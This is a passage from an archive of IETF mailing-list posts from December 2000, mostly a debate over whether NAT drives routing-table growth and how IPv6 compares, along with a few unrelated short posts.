needs, and there's no NAT at all. There are two alternative sub-cases. First, the site has one exit router - but I would imagine that in this case people want it multi-homed for reliability, just as they would with the single NAT box. How does this have any consequences for the routing which is different from the NAT case? The only difference is the "size" of the route - it'll be a /16 (to pick a random size), instead of the /22 (or whatever) with the NAT box. Second, let's assume instead that there are multiple exit routers. Again, each has to advertise those internal addresses - so again, we've still got a route being propogated over a large scope - only, just like the previous case, it's a /16 (say) instead of a /22 (say). > Unless of course you have evidence to present to suggest the contrarfy > is taking place? No, I gather a fair amount of multihoming is taking place, and of course that is causing the number of routes to grow, but I don't see how NAT i) has anything to do with the amount of multi-homing going on, or ii) how the NAT multi-homed case is any different, *in terms of the impact on the routing* (other than the *size* of the route), from the non-NAT multi-homed case. >> E.g. if provider X has a /12 out of which they have to support N >> customers, without NAT they'd have to give each customer, say, a /18; >> but with NAT, each customer can get a /22. > As far as I have seen things, its the customer who is using NAT, not > the provider. Of course - but the point is, for the people who are using NAT boxes because they can't get enough addresses (which, I gather from this thread, is a large share of the people using NAT), *iff* the provider could give them whatever size address block the customer needed/wanted, there'd be no incentive for them to deploy a NAT box (with all its hassles/problems, etc), no? I'm not blaming the providers, but it's a fact of life, is it not, that they can't give every customer all the addresses those customers want? > I think you may have missed my point that the motive for multihoming a > small prefix is far greater for a NAT network than a small non-NAT > network. Of course - that's because there are more hosts behind a small prefix that is NAT'ed than behind a small prefix that's not NAT'ed. But you seem to be assuming that because the NAT'ed entries are small, they "should" act like other small entries - *and that it's NAT's fault if they don't*. Neither one of these are accurate. It is certainly the case that in a network with NAT boxes, for that subset of routes which refer to destinations behind a NAT box, those prefixes will be smaller *than they would be without NAT boxes*. However, I see no reason to think that without NAT there would be any *fewer* routes - and as you know, it's the total number of routing entries which is an issue, not the size of each one. To put it another way, let's imagine an alternate reality in which IPv4 had 48-bit addresses - enough so pretty much everyone could get as many as they wanted, and nobody used NAT boxes because they couldn't get enough addresses. Now, think about what the routing table would look like in that alternative reality. I expect it would have pretty much the same number of entries as we do now - but on average, each entry would be "bigger". In other words, the routing system may be running into problems, but those problems have basically nothing to do with the address space shortage, and the measures taken to deal with it (i.e. NAT). (I'll leave unstated the obvious corollary - I'm sure Perry will figure it out! :-) >> I doubt any of these are major factors when you look at routing table >> growth, though. But I expect that growth is principally due to other >> factors, and NAT doesn't play a big role (either pro or con). > I have said co0nsistently that it is a factor Yes, but I believe that assertion may well be based on a faulty premise (i.e. the discussion immediately above). > in reading your note I really don't see anything that would disabuse > such a belief. Ditto! :-) Noel From owner-ietf-outbound Sun Dec 17 04:10:31 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA26144 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 04:10:03 -0500 (EST) Received: from exchange.ninthhouse.com ([63.113.245.9]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA24361 for ; Sun, 17 Dec 2000 04:01:44 -0500 (EST) Received: by EXCHANGE with Internet Mail Service (5.5.2650.21) id ; Fri, 15 Dec 2000 10:35:16 -0800 Message-ID: <8081BEAAEC32D31188F900508B2CFE5E020E1653@EXCHANGE> From: Chris Millikin To: "'Keith Moore'" , Dave Robinson Cc: M Dev , Sean Doran , ietf@ietf.org, iab@iab.org Subject: RE: NATs *ARE* evil! Date: Fri, 15 Dec 2000 10:35:15 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org It's already happening. Try running IPSec from one 10 network to another 10 network. Much pain. -C -----Original Message----- From: Keith Moore [mailto:moore@cs.utk.edu] Sent: Friday, December 15, 2000 9:24 AM To: Dave Robinson Cc: Keith Moore; M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: Re: NATs *ARE* evil! > What's the problem with locally significant addresses? Having thousands of > 10 networks will never present a problem unless those networks at some point > would like to talk to each other. right. if net 10 networks stay completely isolated from one another, then there's no problem. the problem only exists when people want to tie those networks together. but it's inevitable that the vast majority of private networks *will* want to communicate with the public Internet in ways that NAT does not facilitate. > Is that where this whole discussion is > going (or coming from) - that ultimately the more NAT'ing we do, the more > headaches we're creating for ourselves en route to true global connectivity? in a nutshell, yes. Keith From owner-ietf-outbound Sun Dec 17 04:20:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA28299 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 04:20:02 -0500 (EST) Received: from exchange.ninthhouse.com ([63.113.245.9]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA24364 for ; Sun, 17 Dec 2000 04:01:45 -0500 (EST) Received: by EXCHANGE with Internet Mail Service (5.5.2650.21) id ; Fri, 15 Dec 2000 10:50:08 -0800 Message-ID: <8081BEAAEC32D31188F900508B2CFE5E020E1654@EXCHANGE> From: Chris Millikin To: "'Iliff, Tina'" , "'Dave Robinson'" , Keith Moore Cc: M Dev , Sean Doran , ietf@ietf.org, iab@iab.org Subject: RE: NATs *ARE* evil! Date: Fri, 15 Dec 2000 10:50:07 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org Well, in this case a device that is doing NAT (properly anyway)would replace the ip and socket headers, much the way each router replaces physical addresses. -Chris Millikin -----Original Message----- From: Iliff, Tina [mailto:Tina.Iliff@WCOM.Com] Sent: Friday, December 15, 2000 9:48 AM To: 'Dave Robinson'; Keith Moore Cc: M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: RE: NATs *ARE* evil! Yes! TCP breaks due to the fact that "true" source/destination sockets cannot be defined. The destination would not know where to send a response except in the case where DNS is used...unless I need to do more reading Tina Iliff -----Original Message----- From: Dave Robinson [mailto:drobinson@endtoend.com] Sent: Friday, December 15, 2000 11:11 AM To: Keith Moore Cc: M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: RE: NATs *ARE* evil! What's the problem with locally significant addresses? Having thousands of 10 networks will never present a problem unless those networks at some point would like to talk to each other. Is that where this whole discussion is going (or coming from) - that ultimately the more NAT'ing we do, the more headaches we're creating for ourselves en route to true global connectivity? Dave -----Original Message----- From: Keith Moore [mailto:moore@cs.utk.edu] Sent: Friday, December 15, 2000 10:56 AM To: Dave Robinson Cc: Keith Moore; M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: Re: NATs *ARE* evil! because in a NATted network the same addresses are used in different parts of the network. addresses are meaningless. From owner-ietf-outbound Sun Dec 17 04:30:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA00758 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 04:30:03 -0500 (EST) Received: from snark.piermont.com (snark.piermont.com [206.1.51.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA00581 for ; Sun, 17 Dec 2000 04:29:19 -0500 (EST) Received: by snark.piermont.com (Postfix, from userid 1000) id C0E991E00AE; Sun, 17 Dec 2000 04:26:46 -0500 (EST) Sender: perry@snark.piermont.com From: "Perry E. Metzger" To: smd@ebone.net (Sean Doran) Cc: ietf@ietf.org Subject: Re: NATs *ARE* evil! References: <20001217022427.6472C899@sean.ebone.net> Date: 17 Dec 2000 04:26:46 -0500 In-Reply-To: smd@ebone.net's message of "Sun, 17 Dec 2000 03:24:27 +0100 (CET)" Message-ID: <87hf43iejt.fsf@snark.piermont.com> Lines: 43 X-Mailer: Gnus v5.7/Emacs 20.6 X-Loop: ietf@ietf.org smd@ebone.net (Sean Doran) writes: > Perry Metzger writes: > > | Maybe because I hear from folks like you and others that you're > | ideologically opposed to deploying v6 instead of against it for > | technical reasons? > > You have never heard this from me. > > I have no doubt whatsoever that you have heard this from others > speaking about me. This probably includes your own inner voices. Dunno. Some people at carriers are experimenting with it, some of them seem to spend all their time being sarcastic and finding silly things to say. Luckily, we no longer need your help. > IPv6 is architecturally flawed in precisely the same way as IPv4 > is; it simply has 4x the number of binary digits in the address fields > and some minor cleanups which were important some years ago. Sure. On the other hand, it has four times more bits in the address field, and at the moment, we desperately need those bits. It is costing us truly astronomical sums not to have those bits. It does not solve the routing problem. It doesn't solve world hunger either. And your point is? (On the routing problem, the sad truth is that in spite of claims for years by you and others, there are no magic solutions to the routing problem. Blaming IPv6 for not incorporating the non-existent magic solution is rather like blaming IPv6 for not incorporating the non-existent magic cancer cure. I used to believe you and others who made vague claims about various architectures, and then I spent some time reading up on them, and I realized that none of them did particularly better.) .pm -- Perry E. Metzger perry@wasabisystems.com -- Quality NetBSD CDs, Support & Service. http://www.wasabisystems.com/ From owner-ietf-outbound Sun Dec 17 04:40:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA03695 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 04:40:02 -0500 (EST) Received: from snark.piermont.com (snark.piermont.com [206.1.51.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA00741 for ; Sun, 17 Dec 2000 04:30:01 -0500 (EST) Received: by snark.piermont.com (Postfix, from userid 1000) id 26BC11E00AE; Sun, 17 Dec 2000 04:30:02 -0500 (EST) Sender: perry@snark.piermont.com From: "Perry E. Metzger" To: "J. Noel Chiappa" Cc: smd@ebone.net, ietf@ietf.org Subject: Re: NATs *ARE* evil! References: <200012170214.VAA20627@ginger.lcs.mit.edu> Date: 17 Dec 2000 04:30:02 -0500 In-Reply-To: "J. Noel Chiappa"'s message of "Sat, 16 Dec 2000 21:14:54 -0500" Message-ID: <87elz7ieed.fsf@snark.piermont.com> Lines: 31 X-Mailer: Gnus v5.7/Emacs 20.6 X-Loop: ietf@ietf.org "J. Noel Chiappa" writes: > > From: "Perry E. Metzger" > > > you're ideologically opposed to deploying v6 instead of against it for > > technical reasons? > > Ah, *that's* what's wrong with IPv6 - it doesn't pay enough attention to > control of the means of production by the workers. > > And here I was, all these years, thinking there were all these technical > things wrong with IPv6. Oh well, I guess I wasn't very perceptive. What is technically wrong with v6 that isn't already technically wrong with v4? v6 doesn't claim to be a universal cure. It claims to fix a specific problem -- the exhaustion of IP addresses. No, it doesn't fix the routing table problem. Unfortunately, we don't know how to do that particularly elegantly yet. I'm not very convinced that you know either, Noel. I used to believe I was merely ignorant when I heard claims from "my betters" to the effect that there were techniques we were ignoring that would magically fix everything, but once I actually did things like reading the papers in question, I'm afraid I stopped believing. -- Perry E. Metzger perry@wasabisystems.com -- Quality NetBSD CDs, Support & Service. http://www.wasabisystems.com/ From owner-ietf-outbound Sun Dec 17 05:40:39 2000 Received: by ietf.org (8.9.1a/8.9.1a) id FAA16746 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 05:40:02 -0500 (EST) Received: from swan.prod.itd.earthlink.net (swan.prod.itd.earthlink.net [207.217.120.123]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16550 for ; Sun, 17 Dec 2000 05:39:12 -0500 (EST) Received: from LYSANDER.dunn.org (pool0069.cvx7-bradley.dialup.earthlink.net [209.178.164.69]) by swan.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id CAA07806; Sun, 17 Dec 2000 02:39:05 -0800 (PST) Message-Id: <5.0.2.1.2.20001217022156.00a606f0@launch.server101.com> X-Sender: dubr0002@launch.server101.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Sun, 17 Dec 2000 02:39:17 -0800 To: "J. Noel Chiappa" , ietf@ietf.org From: Bradley Dunn Subject: Re: NATs *ARE* evil! Cc: gih@telstra.net, jnc@ginger.lcs.mit.edu In-Reply-To: <200012170728.CAA21374@ginger.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 02:28 AM 12/17/2000 -0500, J. Noel Chiappa wrote: >To put it another way, let's imagine an alternate reality in which IPv4 had >48-bit addresses - enough so pretty much everyone could get as many as they >wanted, and nobody used NAT boxes because they couldn't get enough addresses. >Now, think about what the routing table would look like in that alternative >reality. I expect it would have pretty much the same number of entries as we >do now - but on average, each entry would be "bigger". > >In other words, the routing system may be running into problems, but those >problems have basically nothing to do with the address space shortage, and the >measures taken to deal with it (i.e. NAT). (I'll leave unstated the obvious >corollary - I'm sure Perry will figure it out! :-) I'm with you in that I do not see a causal relationship between the availability and deployment of NATs and the increase in routing table size. However, I do think that there is a definite causal relationship between the address space shortage and the number of prefixes in the routing tables. People who allocate addresses (registries and ISPs) use slow-start algorithms in their allocation policies due to the shortage of addresses. Therefore many organizations end up announcing several non-aggregatable prefixes which they have acquired over time. If we did have an address space where "pretty much everyone could get as many [addresses] as they wanted," there would be fewer prefixes in the routing tables. If everyone could get "enough" addresses the first time, we'd be much closer to the ideal of one prefix per AS. Bradley From owner-ietf-outbound Sun Dec 17 10:00:51 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA11348 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 10:00:02 -0500 (EST) Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA10901 for ; Sun, 17 Dec 2000 09:57:55 -0500 (EST) Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP id ; Sun, 17 Dec 2000 14:57:22 +0000 To: smd@ebone.net (Sean Doran) cc: perry@piermont.com, iab@iab.org, ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Sun, 17 Dec 2000 03:42:11 +0100." <20001217024211.925D889A@sean.ebone.net> Date: Sun, 17 Dec 2000 14:57:20 +0000 Message-ID: <1590.977065040@cs.ucl.ac.uk> From: Jon Crowcroft X-Loop: ietf@ietf.org In message <20001217024211.925D889A@sean.ebone.net>, Sean Doran typed: >>Wait, it's because of *me* that IPv6 isn't a stunning success compared to NAT? > >>I didn't realize that, when I asked the IAB to use their technical insights >>as a market predictor, that behind the invisible hand of the marketplace >>lurks little ol' me. Maybe someone should tell Paul Krugman. Pagan God of Market Forces... oh thats no good - i want to speak to the 21st century god of market forces....and of course, she retired as uk primeminsiter a while back... so NATs address a user requirement as WELL as a network provider requirement - for example, asymwetric nats let the user get away with sloppier security (not just think they can ) by reducing the available services of course you could argue the same for ipv6 given your view that noones useing it in that unlike an asymetric nat (i can reach you but you can't reac me) v6 is symettreic in its ability to disable people :-) but fantasy aside, ipv6 involves _routing_ as well as addressing - NAT reduces the problem space for providers and users by reducing the number of services reachable - so? thats not exactly comparing things on a level playing field is it? to make v6 work tarks end users more work than v4 (they have to (re(re)-number) and worry about security policies properly) and takes router vendors some work to write some working code (something they have few people left able to do - sure everyone else has fewer still)). so it isnt surprising that one has seen more deploym,ent than the other , but it is not a measure of the releative (de)merits of NATs and ipv6 thats just in yr. head.... cheers jon i'd like to think we could talk about technical things we CAN do to maintain and increase connectivity, as well as retaining or decreasing the ease of config for an end user - to some extent, its one of those threshold things - despite its shortcomings, if people can get over the v6 threshold, it might sort things out provided a half way decent addressing plan AND retaining NAT type functionality for various reasons.....of course there's multihomeing to worry about, but nothing in any other scheme 've seen sorts this - its an inherently hard problem to provide "always on" addresses, aggregation/hierarchy for scaling, and multihomeing - some sort of set theory #101 makes this obvious... j. p.p.s why has noone addressed my replace the DNS comment ? :-) From owner-ietf-outbound Sun Dec 17 11:30:45 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA27428 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 11:30:02 -0500 (EST) Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA27206 for ; Sun, 17 Dec 2000 11:28:15 -0500 (EST) Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP id ; Sun, 17 Dec 2000 16:25:48 +0000 To: "J. Noel Chiappa" cc: ietf@ietf.org, gih@telstra.net Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Sun, 17 Dec 2000 02:28:40 EST." <200012170728.CAA21374@ginger.lcs.mit.edu> Date: Sun, 17 Dec 2000 16:25:48 +0000 Message-ID: <2416.977070348@cs.ucl.ac.uk> From: Jon Crowcroft X-Loop: ietf@ietf.org >>I understand that there are pressures to do multihoming, but I just don't see >>how NAT (i.e. address sharing) is having much effect one way or the other on >>the intensity of the pressure to do multi-homing. NATs allow users to be irresponsible about the addressing since they dont require you to multihome hosts, but dynamically pick which way to enter and leave your domain - this means people can be stupid and run multihomed. for example. incentives are important wen resources are scarce y'know:-) anyhow, i think the old 8+8 v6 scheme would have sorted this out just dandily....and i dont understand the vitriol people our on it - antyhing else (liek yo usuggest coordinaging the addresses allocated to NATs on the outside so they aggregate ) is the SAME thing. involves the same requirements for a protocol to coordinate it.... nats for securtyy thru obscrurity are about as relavent to real security failures and risk and loss of face and revenue as postits on your keyboard saying do not touch...the most common failure we get is via applicatio nlevel messes (e.g. mail attachements) and user education is the only way to solve those. but of course, with pip.... cheers jon From owner-ietf-outbound Sun Dec 17 11:40:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA29852 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 11:40:02 -0500 (EST) Received: from roam.psg.com ([206.163.43.51]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA28620 for ; Sun, 17 Dec 2000 11:34:13 -0500 (EST) Received: from randy by roam.psg.com with local (Exim 3.12 #1) id 147glF-0004NH-00 for ietf@ietf.org; Sun, 17 Dec 2000 08:34:09 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Nicolas Bourbaki To: ietf Subject: thanks for san diego net ops Message-Id: Sender: Randy Bush Date: Sun, 17 Dec 2000 08:34:09 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit when an ops function is done well, few notice. so i thought it worth drawing attention to how well qualcomm and cisco ran the lan, wireless, etc. in san diego. thanks folk. randy From owner-ietf-outbound Sun Dec 17 12:10:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA04384 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 12:10:02 -0500 (EST) Received: from musse.tninet.se (musse.tninet.se [195.100.94.12]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA03843 for ; Sun, 17 Dec 2000 12:05:18 -0500 (EST) Received: (qmail 25683 invoked from network); 17 Dec 2000 18:05:19 +0100 Received: from garibaldi.tninet.se (HELO algonet.se) (195.100.94.103) by musse.tninet.se with SMTP; 17 Dec 2000 18:05:19 +0100 Received: from brk (du247-1.ppp.algonet.se [195.100.1.247]) by garibaldi.tninet.se (BLUETAIL Mail Robustifier 2.2.1) with ESMTP id 786408.72716.977garibaldi-s1 for ; Sun, 17 Dec 2000 18:05:16 +0100 Message-ID: <007601c0684c$4848aee0$0500a8c0@brk> From: "Johan Henriksson" To: "IETF" Subject: Peer2Peer? Date: Sun, 17 Dec 2000 18:10:05 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit from: Johan Henriksson, leadprogrammer @ www.realsoftware.cjb.net "The individual should be praised for it's struggle, the society condemned for it's actions" - me 1997 ---------------------------------------------------------------------------- ------------------- Hi! I am writing a spec for a new library. It will be a general peer2peer clientserver. It's working like GNUtella but it doesn't copy files. Instead, it works as a clean resourcelist manager so that each GNUtella type program will keep it's own resourcelist, this one tells the client which clients that host the requested kind of server. This will proove useful later when games are starting to use the same tech. That way, we can make the service more useful and keep down the traffic on the net. My question is; is there any kind of standard for this? Is there even discussions on the matter? Please point me out. TIA From owner-ietf-outbound Sun Dec 17 12:30:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA08291 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 12:30:04 -0500 (EST) Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA05902 for ; Sun, 17 Dec 2000 12:15:53 -0500 (EST) Received: (from jnc@localhost) by ginger.lcs.mit.edu (8.9.1/8.9.1) id MAA21559; Sun, 17 Dec 2000 12:15:53 -0500 Date: Sun, 17 Dec 2000 12:15:53 -0500 From: "J. Noel Chiappa" Message-Id: <200012171715.MAA21559@ginger.lcs.mit.edu> To: ietf@ietf.org Subject: Re: NATs *ARE* evil! Cc: jnc@ginger.lcs.mit.edu X-Loop: ietf@ietf.org > From: "Perry E. Metzger" > What is technically wrong with v6 that isn't already technically wrong > with v4? Thank you, Perry, you've put it in a nutshell. Noel From owner-ietf-outbound Sun Dec 17 12:40:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA09756 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 12:40:03 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA06877 for ; Sun, 17 Dec 2000 12:20:23 -0500 (EST) Received: from dcrocker.dcrocker.net (node-64-145-172-82.dslspeed.zyan.com [64.145.172.82]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id JAA22429 for ; Sun, 17 Dec 2000 09:20:25 -0800 Message-Id: <5.0.1.4.2.20001217091414.03205a90@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Sun, 17 Dec 2000 09:18:00 -0800 To: ietf@ietf.org From: Dave Crocker Subject: Re: What is the IETF? -- A note of caution In-Reply-To: <5.0.2.1.2.20001215090403.03256df0@flipper.cisco.com> References: <1916212408.976873788@localhost> <200012150106.TAA11429@gungnir.fnal.gov> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org >At 09:49 AM 12/15/00 -0500, John C Klensin wrote: >where >we work and what we do in our day jobs inevitably impacts our >experience and perspective. and At 09:40 AM 12/15/00 -0800, Fred Baker wrote: >I mention the corporate relationships of the Area Directors for a very >simple reason. I think the companies that contribute the time of their >employees to this activity are worthy of note. These two statements cover the issue thoroughly, for me. I believe our community is mature enough and independent enough to be capable of appreciating the contributions and noting the perspectives, without being unduly influenced during decision-making. d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Sun Dec 17 12:50:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA10932 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 12:50:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA09384 for ; Sun, 17 Dec 2000 12:36:49 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id MAA24076; Sun, 17 Dec 2000 12:36:20 -0500 (EST) Message-Id: <200012171736.MAA24076@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Jon Crowcroft cc: smd@EBONE.NET (Sean Doran), perry@piermont.com, iab@iab.org, ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Sun, 17 Dec 2000 14:57:20 GMT." <1590.977065040@cs.ucl.ac.uk> Date: Sun, 17 Dec 2000 12:36:19 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > to make v6 work tarks end users more work than v4 if "v4" includes dealing with an increasingly severe shortage of address space (which sooner or later implies forced renumbering) and/or tying together multiple NATted networks, it's not at all clear that this takes less work than v6. Keith From owner-ietf-outbound Sun Dec 17 13:00:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA13075 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 13:00:03 -0500 (EST) Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA09489 for ; Sun, 17 Dec 2000 12:37:43 -0500 (EST) Received: (from jnc@localhost) by ginger.lcs.mit.edu (8.9.1/8.9.1) id MAA21591; Sun, 17 Dec 2000 12:37:39 -0500 Date: Sun, 17 Dec 2000 12:37:39 -0500 From: "J. Noel Chiappa" Message-Id: <200012171737.MAA21591@ginger.lcs.mit.edu> To: ietf@ietf.org Subject: Re: NATs *ARE* evil! Cc: bradley@DUNN.ORG, jnc@ginger.lcs.mit.edu X-Loop: ietf@ietf.org > From: Bradley Dunn > I do think that there is a definite causal relationship between the > address space shortage and the number of prefixes in the routing tables. > People who allocate addresses .. use slow-start algorithms in their > allocation policies due to the shortage of addresses. Therefore many > organizations end up announcing several non-aggregatable prefixes .. > .. If everyone could get "enough" addresses the first time, we'd be > much closer to the ideal of one prefix per AS. You do have a valid point - that the address shortage is causing people to have multiple prefixes. However, do realize that when you do an O(N) analysis on the various factors that are causing the growth in the routing table, this particular one is causing more of an O(C) factor (since most organizations with more than one prefix would have a reasonably limited number of them), or maybe O(growth-rate-of-individual-organization) [which in most cases is going to be pretty small - ISP's adding a lot of customers would be one exception]. In other words, the exponential shape of the routing table size cannot be due to an O(C) or O(average-growth-of-individual-organization) factor. The bulk of the growth in the table has to be due to the growth in the network population as a whole, i.e. the sheer number of organizations attached to the network (which is growing at a much faster rate than any individual organization) - and in particular those which are becoming multi-homed. It's hard to put numbers on it without knowing what %-age of sites which are already globally advertised has more that one prefix, and how fast that number is growing. However, looking at the routing table growth (it has doubled in about 3 years), and given the growth in the user community over that time, one has to expect that the growth in the user community is the driver. Yes, the point you mention will have put something of a multiplier on the table size - but it's a relativly static multiplier, I expect. Noel From owner-ietf-outbound Sun Dec 17 13:10:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA15215 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 13:10:03 -0500 (EST) Received: from exchange.ninthhouse.com ([63.113.245.9]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA10874 for ; Sun, 17 Dec 2000 12:49:50 -0500 (EST) Received: by EXCHANGE with Internet Mail Service (5.5.2650.21) id ; Sun, 17 Dec 2000 09:54:20 -0800 Message-ID: <8081BEAAEC32D31188F900508B2CFE5E020E1666@EXCHANGE> From: Chris Millikin To: "'Johan Henriksson'" , IETF Subject: RE: Peer2Peer? Date: Sun, 17 Dec 2000 09:54:19 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org Sounds like a new breed of Archie. Check out RFC 1739 section 2.8.1 "2.8.1. ARCHIE Archie is a tool for locating files on the Internet, originally developed at the Computer Science Department at McGill University in Montreal. Archie allows users to find software, data, and other information files that reside at anonymous FTP archive sites across the Internet; the name of the program, reportedly, is derived from the word "archive" and not from the comic book character. Archie tracks the contents of over 1,000 anonymous FTP archive sites containing over 2 million files. The Archie server automatically updates the information from each registered site about once a month, providing relatively up-to-date information without unduly stressing the network." -----Original Message----- From: Johan Henriksson [mailto:jhe@realsoftware.cjb.net] Sent: Sunday, December 17, 2000 9:10 AM To: IETF Subject: Peer2Peer? from: Johan Henriksson, leadprogrammer @ www.realsoftware.cjb.net "The individual should be praised for it's struggle, the society condemned for it's actions" - me 1997 ---------------------------------------------------------------------------- ------------------- Hi! I am writing a spec for a new library. It will be a general peer2peer clientserver. It's working like GNUtella but it doesn't copy files. Instead, it works as a clean resourcelist manager so that each GNUtella type program will keep it's own resourcelist, this one tells the client which clients that host the requested kind of server. This will proove useful later when games are starting to use the same tech. That way, we can make the service more useful and keep down the traffic on the net. My question is; is there any kind of standard for this? Is there even discussions on the matter? Please point me out. TIA From owner-ietf-outbound Sun Dec 17 13:40:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA18659 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 13:40:03 -0500 (EST) Received: from snark.piermont.com (snark.piermont.com [206.1.51.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA17780 for ; Sun, 17 Dec 2000 13:32:06 -0500 (EST) Received: by snark.piermont.com (Postfix, from userid 1000) id C31D81E00AE; Sun, 17 Dec 2000 13:32:03 -0500 (EST) Sender: perry@snark.piermont.com To: Keith Moore Cc: Jon Crowcroft , smd@EBONE.NET (Sean Doran), iab@iab.org, ietf@ietf.org Subject: Re: NATs *ARE* evil! References: <200012171736.MAA24076@astro.cs.utk.edu> From: "Perry E. Metzger" Date: 17 Dec 2000 13:32:03 -0500 In-Reply-To: Keith Moore's message of "Sun, 17 Dec 2000 12:36:19 -0500" Message-ID: <874s02hpb0.fsf@snark.piermont.com> Lines: 23 X-Mailer: Gnus v5.7/Emacs 20.6 X-Loop: ietf@ietf.org Keith Moore writes: > > to make v6 work tarks end users more work than v4 > > if "v4" includes dealing with an increasingly severe shortage of > address space (which sooner or later implies forced renumbering) > and/or tying together multiple NATted networks, it's not at all > clear that this takes less work than v6. It certainly takes more. The amount of NAT equipment out there is astonishing, and as I said at the plenary, people are starting to pay Real Money (as in millions a year) in large organizations to keep the NATs working properly. Several layers of NAT has become common, and NATs are stateful, which means they are necessarily more of a reliability problem than routers. v6 is really no harder to use than the old v4 pre-NAT network was. It is true that v6 qua v6 does not solve the route explosion problem. It is also true that the route explosion problem is a real problem. However, it doesn't make it worse, either. Perry From owner-ietf-outbound Sun Dec 17 14:10:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA23438 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 14:10:03 -0500 (EST) Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net 